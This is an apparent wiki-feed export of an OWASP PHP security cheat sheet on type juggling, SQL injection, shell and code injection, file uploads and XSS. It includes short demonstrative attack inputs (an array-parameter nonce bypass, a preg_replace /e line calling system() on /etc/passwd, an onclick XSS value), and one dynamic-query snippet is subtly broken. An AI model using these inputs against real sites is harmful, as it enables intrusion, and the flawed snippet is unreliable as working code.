[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184331</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184331"/>
				<updated>2014-10-30T08:20:46Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Sources of Taint */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
